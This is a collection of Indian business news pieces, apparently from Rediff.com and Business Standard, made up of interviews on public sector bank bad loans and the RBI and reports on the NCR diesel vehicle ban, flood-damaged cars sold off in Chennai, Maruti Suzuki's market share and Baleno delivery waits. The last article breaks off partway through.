'Three Cs are very critical in lending -- character, capacity and collateral of the borrower.'

R Vaidyanathan, professor of finance and control at the Indian Institute of Management- Bangalore, feels, "The situation in the banking sector was worse in the late eighties and early nineties."

Professor Vaidyanathan has been on the IIM-B faculty for 34 years teaching corporate finance, investments, risk management, insurance, pensions and financial markets.

He has also been a consultant to Hindustan Unilever, Life Insurance Corporation, ITC, BPL, the World Bank, Goldman Sachs, the Shriram Group, the Dalmia Group, the finance ministry, IDBI among others.

Pprofessor Vaidyanathan, bottom, left, tells Shobha Warrier/Rediff.com about bad loans, NPAs and the future of public sector banks.

Public sector banks that were making profits till the last quarter are suddenly in the red. What is the reason behind this?

We have seen situations far worse than this, in the late eighties and the early nineties. During this period, banks were in an expansion mode with one branch opening almost every day with plenty of fanfare.

Banks had difficulty in funding and the nature of lending was also different in those days. For example, for every Rs 100, roughly Rs 40 used to go to government security and 40 per cent of the remaining Rs 60 (which is Rs 24) had to be lent only to the priority sector consisting agriculture, small industries and exports.

In the case of agriculture also, 50 per cent had to go to the small farmers and banks could charge only 6-and-a-half per cent interest. To small industries also, banks were supposed to lend only at 8-and-a half to 10 per cent interest.

When it came to lending to exporters, banks could, however, charge the normal rate of of 11 to 12 per cent interest.

A hierarchy was followed while lending the remaining Rs 36, which went to sectors like steel, atomic energy, coal, infrastructure, etc. Only in the end, they could lend to Hindustan Lever or Britannia!

The gap between the two -- weighted average lending and weighted average borrowing -- is the margin for the banks. At one point of time in the '90s, it came up to one per cent for most of the banks.

Many committees were formed to look into the issue and the percentage came down from 40 per cent to 24 to 25 per cent. Branch expansions also slowed down.

In 2002, huge amount of VRS (voluntary retirement scheme) was given to bank employees and nearly 150,000 bank employees left.

Today, the problem is banks do not have significant amount for fund rotation.

Has the 2008 economic crisis and the subsequent slowdown in the economy resulted in this situation?

2008 was more of a global crisis. Today, there are three areas that give banks a big headache -- steel, power and infrastructure. The steel sector is more or less in a better position today, with the government imposing import duty etc -- domestic steel is picking up.

In the case of energy, gas prices have significantly fallen and the energy sector is also recovering.

We know that a large number of projects were stuck in infrastructure for various reasons. Now, many infrastructure projects like roads, ports, etc are getting released because of the faster decision making process. This can be helpful to the banks.

Will this result in the entry of global players in the banking sector?

That is what I want to stress: The crisis should not be overblown to create a situation for people clamouring for global players to enter India. This is very important.

Many of the global banks are also in crisis and they are very eager to get a foothold in the Indian market.

Because of the size of the market?

Because of the size of the market and also, they would not like to start from scratch. They would like to swallow some big banks here, which I think we should not encourage.

In the process of making a hue and cry about non-performing assets and bad loans, we are making it look as if our banks are not capable enough to run.

You should remember that most of the independent directors of these banks are political appointees like retired MPs, MLAs and sidekicks of political parties. This reduces the professional capability of banks.

They influence providing credit to parties who should not be provided any such fund. They also influence writing off loans which should not be written off.

What banks need now are professionals to run them.

Will it be possible? With the kind of nexus that exists between capitalists and politicians, is it not a big decision for any government to take?

I agree with you. But from whatever signal I get, it appears this government is appointing more professionals like chartered accountants, lawyers, company secretaries, etc.

Do you consider the current situation of the public sector banks worrying?

I would not say that. It is not beyond redemption. We can easily rectify these problems.

Some people say privatisation is the answer, some say downsizing. Some want merger. What is the solution?

Privatisation, definitely, is not the answer. Our PSBs are much better than the private banks.

If you look at the data, you will see that private sector banks have also suffered a lot in NPA (non performing assets), in fact more than the public sector banks.

But lending has increased significantly for them, by 20 per cent, while lending has come down in PSBs. The status of private sector banks like ICICI Bank and HDFC Bank are unknown to the ministry also.

Some time back, they opened so many private sector banks with so much fanfare. Where are they? So many of them got merged with PSBs eventually. It is not that all private sector banks have done great.

No, they should not use this as an excuse to privatise them (banks).

Downsizing mainly means reducing the number of employees, which they did through VRS. Now there is no massive recruitment also.

There is a talk about merging 27 PSBs to make them six. Is this a right move?

Not at all. Different banks have different strengths and it is not an easy task.

Do you feel the RBI's asset quality review asking PSU banks to clean balance sheets and declare all NPAs that led to them coming into the red?

At that time, the All India Bank Officers Confederation had said such a decision would put all PSU banks in the red.

You are correct. The RBI should act with sobriety. The RBI's decision to suddenly pounce on them is not right. Every bank board has a representative from the RBI and the finance ministry. What were they doing till now? How can they wake up one day and come up with such a decision?

There is no sarvaroga nivarini (cure all) for banks. Each bank has to be tackled differently. You have to be cautious in adopting some of the Western standards blindly like the Basel norms, which is more applicable to European banks than here.

In India, it is both rule-based and relationship-based. Here, we have the smallest farmer to the richest industrialist as bank customers.

Three Cs are very critical in lending -- character, capacity and collateral of the borrower.

Everybody is not a wilful defaulter and there are honest business people too. Those who are in exports or infrastructure are finding it difficult to pay back the loans.

Even the IT companies are in the doldrums compared to what they were five years ago because the global economy has not picked up.

Ideally, the government should look at the other problems the PSBs face now. Now they have mostly people in the 55 plus age group in top positions who are going to retire in the next 5, 6 years. And there are not enough people in the 35 to 50 age group while they have many in their 20s. This is going to be a huge challenge for the banks.

After most of the PSBs declared their results, many started ringing alarm bells...

I don't think there is any need to ring alarm bells. The situation was worse in the late eighties and early nineties and we overcame that. It is not as alarming as it is made out to be!

We are not a banana republic and we have excellent people working in the banking industry.

We Indians have this habit to whip ourselves and we derive pleasure in doing that!

There is no need to push the panic button. The government should strengthen the coordination mechanism between the Enforcement Directorate, income tax department, CBI (Central Bureau of Investigation, SEBI (Securities and Exchange Board of India and RBI.

There should be swift and severe punishment for defaulters -- we should put them in jail for 50, 60 years. Even the cases of 1990 are still pending. If you punish a few, things will fall in place.

We don't need any new law for all this. Like how the election process in India changed with the arrival of one T N Seshan.

He didn't create any new law, used the old ones to instil fear in the minds of politicians. And how things changed in India!

So you feel another T N Seshan is needed to set right the banking sector?

Yes, we need another T N Seshan.
'What was the RBI doing when infrastructure projects were stalled?'

'When the large corporates were taking loans, what was the RBI doing?'

'The entire system acted as cheerleaders for Vijay Mallya. The RBI failed, the banks failed, the auditors of the banks and Mallya failed.'

"Quick decision-making and quick administration, only, can change the situation the banks are facing today," says M R Venkatesh, a chartered accountant and commentator on domestic and international trade and economic affairs.

The author of 2 books -- Sense, Sensex and Sentiments and Dr Manmohan Singh - A decade of decay -- MRV, as he is popularly known, tells Shobha Warrier/Rediff.com how India's nationalised banks can be fixed.

Part I of our series on India's ailing PSU banks: 'Banking sector needs a T N Seshan'

It was reported that by June, 9 public sector banks would have gross bad loans below 5 per cent of their assets and 4 would have NPAs (non performing assets) in excess of 7 per cent.

Q3 results showed that most of the PSBs are in the red. Is it only because of the asset quality review ordered by the RBI? Or is it bad loans?

Bad loans are the legacy of the UPA (United Progressive Alliance). Since 2010, NPAs have been piling up.

Any particular reason for that?

In 2008, we had this great depression and since then the economy has not really taken off. Between 2008 and 2010, many people borrowed enormous amount of money and put in various infrastructure projects, hoping that the economy would grow at 10 to 12 per cent.

It actually grew at 5 per cent, which means many of them did not get enough money to even pay the interest.

This accumulation of NPAs assets has been happening since 2010. Everybody is in a suspended sense of disbelief now.

The books of the companies are not creatively managed, the banks are also accepting this accounting jugglery. Finally, the time has come for everyone to throw up their hands and say that the emperor has no clothes.

Now the issue of NPAs is not 5 per cent or 10 per cent -- it is much, much higher at 15 to 20 per cent.

Has the RBI's decision to review banks' asset quality forced them to declare NPAs?

Yes. It is not that the RBI came to know about it only in September 2015. The RBI is equally guilty and very much part of this whole mess, and cannot wash off its hands. The RBI should first answer why there were so much NPAs and why this belated recognition of it.

What was the RBI doing when the infrastructure projects were stalled?

Did the RBI warn the banks not to give loans again to these projects? No.

When the large corporates were taking loans, what was the RBI doing?

Why didn't the RBI ask the banks to book the NPAs all these years?

Everybody in the banking sector knew that the loans of (Vijay) Mallya were changed to equity, but what did the RBI do?

The RBI also has to be blamed for this kind of lending. Nobody in the RBI had the guts to stand up. Today when the water has risen above the nose, the RBI wants to make a virtue out of the necessity.

What should the RBI have done?

I will hold the RBI responsible because everybody knows infrastructure projects take 10 to 15 years to start reaping profits. You cannot have 90 days or 180 days cycle for them.

We don't have long-term funding for large projects like these. We still do not know how to handle them.

Our commercial banks are not equipped, they know only how to deal with car loans, house loans and education loans.

The core problem is the lending of the banks in the non-food sector doubled from somewhere between Rs 26 lakh crore and Rs 55 lakh crore between 2009 and 2014, but lending to large corporates tripled from Rs 7 lakh crore to Rs 21 lakh crore.

Of the incremental Rs 29 lakh crore between 2009 and 2014, 50 per cent has gone to large corporates. This is where crony capitalism came in. This is the period when people like Mallya got the loans. I am, of course, not saying everybody is a wilful defaulter.

The economy was badly managed by the UPA. When the government could not fund infrastructure or large projects, they had to rely on the private sector.

This also did not take off...

The economy did not take off, and as a result India Inc, too, did not get the expected returns. The situation spiralled and today it has gone out of control.

I am sorry to say that even the NDA (National Democratic Alliance) is not fully cognisant of the problem as they have not addressed several structural issues.

Like?

When this government came to power, there were stalled projects worth around Rs 8 lakh crore to Rs 9 lakh crore in the PPP mode (private public partnership).

Several of these had borrowed money from the banks and they were not able to pay back because the projects had not taken off.

And these projects could not take off because there was no clearance on land, environment, etc.

Who will you blame for India's economic mess?

If I have to put the blame on one person I will name Dr Manmohan Singh. I hold him responsible for the economic mess of this country today. Had he put his foot down on the 2G scam, people would not be scared to sign a contract with the government.

So many PSBs are in the red. How can they come out of the situation?

Quick decision-making and quick administration only can change the situation. This has nothing to do with banking.

You may know, 1 lakh crore road projects were de-bottlenecked by this government and only this type of decisions can change the situation.

Also, some of these companies have over-leveraged which means they have to sell their assets and repay the loans. Some require rescheduling.

Not just Mallya, there are around 4,500 wilful defaulters in this country owing over Rs 65,000 crore.

It will require 20 years to do so unless we have another quick mechanism.

When they go to court, it will take years for the bank to get the money back...

I would say if there is prima facie evidence against a wilful defaulter, his assets should be attached by the government.

A special tribunal should be formed and only if it is proved that he is not a wilful defaulter, his assets should be released.

Is it not lack of political will that created people like Vijay Mallya?

The entire system acted as cheerleaders for Vijay Mallya. The RBI failed, the banks failed, the auditors of the banks and Mallya failed.

What did the auditors of the State Bank of India do when the loans were converted into equity at a premium?

In fact, every department in India failed. He owes hundreds of crores to the income tax department, while for small amounts of money, ordinary people get harassed by the IT department. In fact, they are harassing the employees of Kingfisher now.

It means that the system gyrates to the rich and the famous. Why blame the politicians alone when it is an all round systemic failure?

For how long can the government pump capital into the banks that are in the red?

This cannot go on and this should not go on. Now, the government has reduced PPF (Public Provident Fund) rates, the banks too will reduce rates. But they cannot reduce the lending rate as it is still risky and the main reason is inefficiency. I am not bothered whether the SBI is owned by the government or the public.

The question is how to make banks more efficient. For that, you need professionalism and accountability. Today, bank appointees are not professionals and they are not doing their jobs properly. And there is no accountability.

Unless you bring in professionalism and accountability, no amount of money will make the banks banks healthier.

Today's NPAs are around Rs 10 lakh crore, and Rs 4 lakh crore are because of large corporates.

The RBI requires as much overhaul as banks. There is a huge gap between the expectation of the regulator of the bank and the RBI.

Failure of the banks is the failure of the RBI. What did they do in the last few years?

The time has come to critically question the RBI. If we do not, we will have another set of NPAs after 5 years.

So the banking sector needs a thorough overhaul?

Yes. We are still applying Iodex for cancer.

Does the sector need surgery?

Surgery is absolutely essential. It is better to do painful surgery now and remove the cancer forever. And the surgery has to happen first with the RBI and not the banks.

The banks are killing small and medium enterprises and strangulating the growth engines of the economy while greasing the palms of the large corporates.

Does the cure lie in privatising or downsizing the banks?

In this country, whenever there is a problem, there are three solutions -- liberalisation, privatisation and globalisation. No, they are not. The real solution is in bringing in professionalism.

In what way will it affect the common man?

If things go bad from here, the rupee may depreciate and people may lose money which is not good news for the government.

Unless the prime minister himself brings in professionals from various fields to nurture the banks, they will not come back to health.

Is this a very grave situation?

I would not say it is very grave, but it is a difficult situation, and it does not augur well for a country that does not have very big capital.

Illustration: Uttam Ghosh/Rediff.com

M R Venkatesh's photograph: Sreeram Selvaraj
'What about Air India, which has exceeded a liability of Rs 40,000 crores to 50,000 crores? Who is responsible for that?'

IMAGE: A Kingfisher Airlines employee at Mumbai's domestic airport, February 20, 2012. Photograph: Vivek Prakash/Reuters

Vijay Mallya's woes have firmly trained the spotlight on public sector banks and long terms loans.

As experts weigh in, Shobha Warrier/Rediff.com spoke to senior banker P R Kalyanaraman.

After retiring as general manager, Bank of India, Kalyanaraman, image, below, joined Federal Bank Ltd as its executive director. Currently he is director (south), Investment Bank, Centrum Capital Ltd.

As a former banker, do you think public sector banks are in a mess now?

No, I don't think they are in a mess. I would say they are in a difficult situation. The banks are not the only reason for this situation.

Do you hold the Reserve Bank of India responsible?

Agencies like the RBI, the finance ministry, the investigating agencies, the clients and the banks all have their roles to play.

We were in a very difficult situation in the nineties after liberalisation, when I was working with Bank of India but all banks were able to recoup and subsequently perform well.

It was possible because the government understood the situation and banks were given a lot of support to overcome it.

What kind of support did the PSBs get then?

The tightening of norms by the RBI, which is happening today, was not there then.

For example, you know that banks have lent money to corporates, many of whom have created assets. It is not that all of them are wilful defaulters or have diverted money.

If they have diverted working capital to fixed assets, it is pardonable as money is still in the system and can be used to recoup.

If you want, you can put those assets to productive use.

Like what the State Bank of India is trying with Vijay Mallya's assets?

Those were his personal assets. I am not talking about that.

In the case of Kingfisher, if they had tried to sell the aircraft with the permission of the unions and borrowers when they found it was not possible to turn the situation around, somebody else would have used the assets.

Today, after four years, after you have allowed the assets to deteriorate, the situation is different.

Why did the banks allow it to reach such a level in Mallya's case?

I have a different opinion on Vijay Mallya's case. According to me, the media is creating unwanted hype.

See, his borrowing was around Rs 4,000 crores (Rs 40 billion) which got compounded to Rs 9,000 crores (Rs 90 billion).

What about Air India then, which has exceeded a liability of Rs 40,000 to Rs 50,000 crores (Rs 400 billion to Rs 500 billion) ? Who is responsible for that? Has anybody analysed it?

There are companies which have larger liabilities than Mallya's. I am not defending him. I have not lent him money.

The approach towards Mallya is not right because his unit could have been turned around earlier with additional funds from his side and the bank's side. I remember the union going on strike for a pay rise at the time when the company was going through bad times.

Banks also depend on the analysis made by private investors. You need to remember that they also put in their hard earned money and do their due diligence.

When the economy is sinking, many of the calculations go wrong. That would have also partially contributed to the decline in the fortune of the company.

IMAGE: Vijay Mallya at the launch of Kingfisher Airlines in Mumbai, July 28, 2004. Photograph: Punit Paranjpe/Reuters

Why did the banks go on lending him money when Kingfisher was doing badly?

Let's suppose I, as a banker, have lent you Rs 100. If I see that by pumping in another Rs 50, your unit can be revived and there is a possibility of your making profit, I will do so.

In hindsight, you can find fault with every decision. But any decision should be analysed understanding the situation that was prevailing at the time it was taken.

You take a decision with the belief that the unit could be revived. You give additional Rs 10 crore (Rs 100 million) on the assumption that the Rs 100 crore assets could be revived.

You cannot judge a decision made in the past on today's conditions.

Does that mean you will not hold Mallya or the banks that lent him more money responsible for the present situation?

I will hold them responsible, but you have to analyse whether the decisions were taken properly and effectively. There could have been an error of judgment. I would not like to say anything without going through the complete facts, which the media is doing now.

It is a pity that political parties are jumping into the fray. They are not the people running the banks.

Do you feel the media is creating noise and panic without understanding or analysing the situation?

Hundred per cent. In many cases, the media is judgemental without understanding the case; this is one such example.

Did they analyse the case and the situation at that time? Have they gone through the project report prepared by KFA when they launched the airline?

Don't you hold the RBI responsible for the current panic about the PSBs? For example, non-performing assets have been piling up for many years.

Why did the RBI come out with the asset quality review asking banks to declare all the NPAs, which put all the banks in the red?

After liberalisation, banks started mobilising deposits and the money flowed in. In order to pay interest to the depositors, they have to lend the money.

Lending avenues were very limited then as banks were under government control, making them do priority sector lending, agricultural lending, DRA rate lending, etc.

After all these compulsions, the amount of money they could lend to corporates was limited. So bankers vied with each other to lend to long term projects.

At that time, asset liability was there because, while the time span of deposits is five years, lending for infra and power projects was long term.

Otherwise, these projects are not viable.

But all commercial banks here were lending to large projects on a repayment schedule for 10 years. PSBs were not permitted to lend beyond that period. That was the rule.

The RBI was aware of this, but didn't rectify it. They could have permitted the banks to lend for a longer period or given them avenues to raise resources for a longer term at a lower rate of interest.

Members of the RBI were on board when the banks were lending to infra projects. It was not as if they were unaware of what was happening. But, today, they are blaming the banks.

I do not blame anyone as lending to long term projects was an unknown territory for commercial banks; they did not understand it properly. The same was the case with the RBI as well.

Thirdly, we had lending institutions like the IDBI (Industrial Development Bank of India) that were created only for long term projects. They were meant to analyse those projects, had the training and the expertise to do so and were given funds for long term projects.

Then, the RBI permitted these institutions to convert to commercial banks. As a result, they started losing the expertise they had.

People who were trained to lend for the long term entered the commercial space where they had no expertise and banks started lending long term, an area where they had no expertise. Both started making mistakes.

Today, IDBI is a loss-making institution. I do not know why the RBI or the finance ministry does not look into this mistake.

We also had a system where any long term loan application went to a consortium where there would be a lead bank with representatives from other banks. They jointly analysed a project before lending.

Suddenly the RBI wanted to do away with this; probably because the borrowers were clamouring for its removal.

Though it had its positive and negative points, this was done away with somewhere in the late nineties and banks were allowed to lend on their own.

This resulted in borrowers whose intentions were not good taking advantage of the banks. Now, they are re-introducing the idea saying any project asking for more than Rs 150 crore (Rs 1.5 billion) should go through the consortium process except for the State Bank of India.

The RBI should have relaxed certain norms when the economy was doing badly. Many projects that are good, and whose intentions are good, fail when their calculations go wrong.

Earlier, bankers had the liberty to restructure loans, but the RBI tightened the rules and things became worse.

In the normal course, I would say the RBI tightening the screws is good, but not under such circumstances.

Because of this, instead of supporting a unit in difficulty, bankers started withdrawing from even the good units. This led to many productive units closing down and people losing jobs. You are also allowing assets created out of public funds to rot.

These are issues the RBI could have controlled.

IMAGE: RBI Governor Dr Raghuram Rajan. 'We have to improve our regulatory control, but when times are very bad, the RBI should have had an independent approach,' says P R Kalyanaraman.

NPAs are piling up and it is said the amount has gone up to Rs 10 lakh crores (Rs 1 trillion). Why do you think the RBI suddenly woke up and asked banks to declare their NPAs?

They are trying to implement measures used by developed countries here. Yes, we have to improve our regulatory control, but when times are very bad, the RBI should have had an independent approach.

I am not saying the rules are wrong. I am saying they should have made exemptions for good and honest projects that can be revived.

They should have been judicious and the authority should have been given to the banks. After all, it is their business.

Now, the accounts which would have pulled along for some more time have become NPAs.

Asset reconstruction companies have never acted as restructuring companies, but as companies that sell the assets and make profits. This was also not effectively regulated by the RBI.

The other day, the government said it would pump in Rs 1,000 crore (Rs 100 billion) to three banks that were in the red. Will this solve the problem?

When NPAs go up, the capital adequacy ratio goes below the threshold. When that happens, capital has to be pumped in so that the common man doesn't suffer.

If you do not want the banking system to fail, it has to be supported.

Banks are handicapped today. Earnings are dwindling and they cannot lend because the capital adequacy ratio is not adequate.

After pumping in money, the government should see to it that the banks are run professionally. Right now, the government has not encouraged meritocracy in PSBs. That is why you don't have effective management.

Many people say professionalism and accountability don't exist in public sector banks. As a former banker, do you agree?

There are a substantial number of highly professional people, both in private and public sector banks. Whether they are getting effective recognition in PSBs is the question.

In a public sector bank, everything except merit is given consideration; in a private sector bank, merit is given due consideration. So PSBs tend to lose professionals.

What about accountability?

Accountability is an area where the RBI, bankers, the government and the investigating agencies have to be responsible.

Accountability in banks should be based on the concept of businesses. Now we hear the investigating agency saying a banker is accountable for any account going wrong. That is a very wrong statement.

Accounts can go wrong for various reasons like the general economic situation, which is what is happening today. It could also happen because the promoter fails in some department.

Even the multinationals are failing. Tata is selling Corus. When they bought it, it was the right decision. Now, with Europe's economy failing, the Tatas are right in selling it.

In PSBs, accountability means a CBI investigation, court cases, losing your promotion and retirement benefits.

With the RBI and the finance ministry shouting about accountability, bankers naturally want to be safe; they don't want to take risks. So they don't take decisions.

When you don't take a decision, there is no wrong decision. How do you expect performance when you have effectively discouraged bankers from taking decisions?

When we started talking, you said the public sector banks were in a difficult situation. Do you think they can come out of it?

If banks are given a free hand when it comes to handling difficult accounts, get support in handling units that are viable and are encouraged to take tough decisions, I don't see why a turnaround cannot take place.

How long do you think it will take?

We were in a worse situation in the nineties, and we came out of it. But remember, what has happened in a decade cannot be rectified within weeks or months.

If there is no unwanted media hype or unwanted statements from the government, if you leave it to the bankers to handle the situation and if the required support is given to them immediately, they can come out of this in two years.
Makers argue these pollute less than petrol ones

The Supreme Court on Thursday extended the ban on registration of diesel vehicles with engine capacity of 2,000 cc and more in the National Capital Region till further orders, keeping the fate of carmakers in uncertainty.

The court said it would devote a Saturday (date not decided) to hear all parties concerned before passing its order.

The decision will have an adverse impact on companies such as Toyota, Mercedes, Jaguar Land Rover and Tata Motors.

The impact of the ban will not be limited to sales. Luxury carmaker Mercedes has warned that if the ban continued, it could lead to job losses at its dealerships and the manufacturing plant in Chakan, Maharashtra.

The December 2015 order of the court had imposed a three-month ban, effective till Thursday (see chart).

The court heard the manufacturers, who sought a modification of the last order on several grounds, claiming diesel vehicles complied with the norms.

The counsel for Mercedes and Tata, C A Sundaram, argued diesel was less polluting than petrol.

He also submitted that diesel vehicles such Sumo or Innova were not luxury cars and carried more people, and therefore, did not harm the environment very much.

The counsel for Tata Motors wanted the court to clarify that the ban does not cover heavy and medium commercial vehicles as transport authorities are refusing to register them. The court is also in favour of imposing a compensatory cess/charge on luxury diesel vehicles.

In response to the submission by automakers that the Union Budget had introduced infrastructure cess (of four per cent) on vehicles above 1,500 cc, Chief Justice T S Thakur pointed out that that levy covered roads and not environment.

There should be a compensatory charge on luxury diesel vehicle, which is different from the infrastructure levy, he said, pointing out that there should be a congestion charge also to discourage luxury vehicles. The indefinite ban on diesel vehicles puts at risk the future of diesel as a fuel in India.

Continued ban on bigger diesel vehicles will create uncertainty in the Indian automobile industry.

After the ban on bigger diesel vehicles in the NCR, few positive steps have been taken by the government such as advancement of BS VI emission norm, increase in taxes, especially on bigger vehicles through infrastructure cess, said Abdul Majeed, partner, PricewaterhouseCoopers, and an auto expert.

Companies have tried to overcome the crisis arising out of the ban.

Largest utility vehicle maker Mahindra & Mahindra has come out with a 1,990cc diesel engine for vehicles in the NCR.

The new engine launched in January has taken care of its NCR dealers who are able to sell models like Scorpio and XUV500.

Mercedes was the worst hit among luxury car makers since its entire diesel vehicle range is impacted.

Seventy per cent of Mercedes sales volume is diesel-driven and Delhi is a significant market, about 15 per cent of its sales.

The largest luxury car player convinced its dealers outside the NCR to give up their allocations of petrol to be made available for NCR dealers.

That has worked to a certain extent.

Toyota, however, has suffered since its two popular models  Innova and Fortuner  have not been sold in the NCR for over 100 days now.

It has seen double digit decline in monthly sales after the ban. Toyota plans to launch petrol variants of Innova.

Toyota and Mercedes did not comment on todays decision. Companies refused to comment on the Supreme Courts decision as they are awaiting the order

The industry is preparing for the hearing, though the court does not seem to be in any mood relent.

We will prepare for the next hearing and put forth the arguments in favour of diesel.

Diesel is not a polluting vehicle and you cannot compare it with petrol cars.

The price of a diesel car and the taxes imposed are higher than petrol cars, said Vishnu Mathur, director general, Society of Indian Automobile Manufacturers.

During the proceedings, when the counsel insisted that diesel vehicles are fuel efficient, the judges said that savings per kilometer did not matter to those who go for luxury vehicles.

What classes are buying these vehicles?

They are super rich, corporate and those who want to show off their wealth.

Why should they be allowed to make others life miserable? the judges asked.

The court asked the diesel car manufacturers to bring data to prove their claim.

The court also suggested a charge of some 25 to 30 per cent on the cost of the vehicles to neutralise the advantage now enjoyed by diesel car owners.

The judges urged them to devise a formula keeping in view the public interest in this matter.

It is your city, and all of us breathe the air. Help us to reach a reasonable conclusion.

This model may be followed in other cities.

It is not only in Delhi that diesel vehicle manufacturers are at risk.

Bihar recently proposed a ban on diesel vehicles.

The auto industrys investments in diesel will be at risk if the other states also look at similar measures

ROUGH ROAD



The fate of diesel vehicle manufacturers continues to hang in the balance

2015

Dec 11: National Green Tribunal bans registration of new diesel vehicles in the National Capital Region till January 6

Dec 16: Supreme Court bans registration of diesel vehicles of 2,000 cc and above in the NCR till March 31, 2016, overriding the NGT order



2016

Jan 6: SC declines any relief

Jan 22: Mahindra launches 1,990-cc diesel vehicles for NCR

Feb 3: Toyota showcases petrol Innova at Auto Expo

Feb 29: Government announces infra cess of up to 4% on cars

Mar 31: SC extends the ban till further orders

The image is used for representational purpose only. Photograph: Reuters
Insurance companies sell off inventory of flood-damaged vehicles to cut losses.

Image: The on-road value of a Jaguar F-Type is about Rs 2.2 crore. In Chennai, if you are lucky, you could get one for as low as Rs 15-25 lakh.

To have a Jag or a Merc is a dream for many. Now, the dream is coming true in Chennai, with models of luxury cars being sold at dirt cheap prices.

How? About 80,000 vehicles - including two-wheelers - were damaged during the Chennai floods in November last year.



Of these, about 20,000 were declared to be "fully damaged" and written off by insurance companies.

Now, the insurers who have acquired this inventory are selling off the cars - in the open market, and yard and online auctions - for 25-45 per cent of their insured declared value (IDV).

Car dealers from all over the country are flocking to the southern metropolis to buy these cars.

But why would someone buy a damaged vehicle?

Take an example: The on-road value of a Jaguar F-Type is about Rs 2.2 crore. In Chennai, if you are lucky, you could get one for as low as Rs 15-25 lakh.

Add the cost of refurbishment to it (about Rs 5-10 lakh), and it is still dirt cheap.

Of late, garage owners and dealers of used cars are flocking to Chennai - they comprise about 96 per cent of the buyers.

If the cars are beyond repair, they can be turned into scrap. Others can be repaired and sold off.

Dinesh Pathania, the managing director of Autoworld, a Delhi-based bulk used car dealer, is in Chennai. He said he had already bought and sold about 500 of these cars. Of these, 70 to 100 were luxury cars such as Mercedes and Audis.

"I'm expecting a batch of another 100 luxury vehicles in 10-15 days, and shall sell them to smaller traders and used car dealers," Pathania said.

The insurance companies, too, are benefiting from this sale, as it is helping them cut some of the losses.

A source in the sector said: "If a car is totally damaged, the insurance company might have to shell out as much as Rs 80 lakh - an IDV of around Rs 1-1.2 crore. In this case, there is no chance of recovering the money.

"However, if the insurance company does not pay the entire IDV to the consumer, there is hope that the car might even fetch 45 per cent of the IDV, thus offsetting the losses to some extent."

Ravi Mehra, president, auctions, CarTrade.com, told Business Standard, "The inventory of damaged vehicles (those that have been written off) is around 20,000. Considering the average price of a vehicle at Rs 6 lakh (it ranges from Maruti Alto to Jaguar F-Type), the size of the inventory is around Rs 1,200 crore."

Around 4,000 vehicles have already been auctioned off, and 400-450 vehicles are being auctioned every week, Mehra added.

Another online portal, CarDekho.com, however, pegs the number of lost assets to insurance companies at 10,000-12,000 units.

Abhishek Gautam, chief operating officer, CarDekho auctions, elaborated, "For flood-damage vehicles, there are basically in three categories: First, C-level: Water damage till floor or carpet level; second, B-level: water damage till dash-board level; and third, A-level: water damage till the roof. Depending upon the damage, cars can be sold for anything between 20 and 50 per cent of the original value."

FLOOD OF CARS

To get rid of the cars and vehicles damaged during the Chennai floods, the insurance companies are selling these off at huge discounts:

No. of cars damaged: 80,000

(including two-wheelers), totally or partially damaged

Totally damaged (written off): 20,000 cars

Already sold

About 4,000

Sellers: Insurance companies that have "written off" the damaged cars

Benefit for customers: 25-40%

Luxury cars can be bought at discounts of 25-40 per cent (of the insured value)

Facilitators: Companies that help in buying and selling old cars, such as cartrade.com and cardekho.com

Major buyers:

Used car dealers and those who modify cars


The car majors sale grows in double digits as its share in the market expands by 2%

While most carmakers are struggling to push sales, market leader Maruti Suzuki is racing ahead in the domestic segment, capturing a 14-year-high share in it.

Riding high on double-digit growth in sales, the company is set to close the year (2015-16) with a share of 47 per cent -- compared to 45 per cent last year (2014-15).

Its nearest competitor, Korean auto major Hyundai, too, will close the year at an all-time-high market share of 17.5 per cent.

Last year, Hyundais market share was 16.2 per cent.

Sales of the two companies, in volumes, are also at a record high.

Together, they now enjoy 64 per cent share of the market.

Last year, it was 61 per cent.

All other carmakers together -- about a dozen -- have 36 per cent of the market, with none of them in double digits.

The third largest player in the market, Mahindra & Mahindra, has a share of 8.26 per cent.

While Maruti increased its share this year by two per cent, General Motors, Nissan and Volkswagen have a share of well below two per cent each. Market share is a function of how other players also perform.

Seven companies lost share in the current year because of different reasons.

Toyota, Tata Motors, Volkswagen and General Motors figure in this list. New launches have not worked for everyone.

R S Kalsi, executive director (sales and marketing), Maruti Suzuki, said a combination of factors helped the company gain share.

We have added close to 200 regular sales outlets and 125 Nexa (premium) outlets this year to reach the customers.

While new launches such as Baleno and Brezza have been well accepted, the older models such as Alto and WagonR also grew, he said.

The companys dominance is evident from the fact that four of the top five highest selling car models are Marutis.

The last time Maruti had a higher market share (48.6 per cent) was in 2000-2001 when there were fewer players and global companies such as Volkswagen, Nissan and Renault had not entered the Indian market.

India presents a contrasting picture compared to top global markets as far as market share goes.

In the US, for instance, none of the top players (General Motors, Ford or Toyota) enjoy more than one-fifth of the share.

Rakesh Srivastava, senior vice-president (sales and marketing), Hyundai, said market leadership means a greater connect with customers.

His company had achieved this through innovation and product differentiation.

In 17 years, we have climbed to an all-time-high share of over 17.5 per cent on the strong performance of Creta, Grandi10 and Elitei20, he said.

B V R Subbu, the former president of Hyundai Motor India, who now runs a strategy consulting company, said Maruti has built a strong presence in the below-Rs 500,000 category.

In this category, which accounts for the lions share in the Indian market, it is a two-horse race between Maruti and Hyundai. There was a time when Maruti relied on a simplistic approach of expanding the dealership network to grow sales.

They have now started deepening and widening the product range.

This is bringing them success.

It is unusual for a company to be retaining this kind of share, he said.

Can a 50 per cent-share be a reality for Maruti? It is not going to be a cakewalk as competitors are constantly upping their act.

There is a tough fight to gain even a 0.1 per cent share in the market. It will be challenging to keep growing the share.

We will have to multiply efforts. The initial response to Brezza and planned launches makes us confident that we will grow more than the sector, said Kalsi.

The company has faced a capacity constraint and this could slow growth next year.

It hopes to start commercial operations at its Gujarat plant in early 2017 with an initial capacity of 250,000 units to add to the current capacity of 1.5 million.

Image: Maruti S Cross. Photograph: Kind Courtesy, Suzuki Motors
Export orders eat into domestic ones; if company doesn't increase production at the cost of other models, wait may go up to six months.

Customers who booked the Baleno, Maruti Suzukis latest premium hatchback, may have to wait for up to six months for delivery.

The company is struggling to meet demand and production can only be increased at the cost of other models.

The countrys biggest car manufacturer is facing production constraints with the Baleno forcing it to juggle output between domestic and export markets.

The Baleno is among the top selling cars with unserviced bookings of 55,000 units and sales of 44,000 units in just six months.

Maruti Suzuki India started exporting the hatchback in January to Europe and Japan, leading to lower supply in domestic market, a consistent fall since December.

Domestic volumes of Baleno dipped 41 per cent in March to 6,236 units, lowest since its launch, compared with 10,572 units in December, the best month so far.

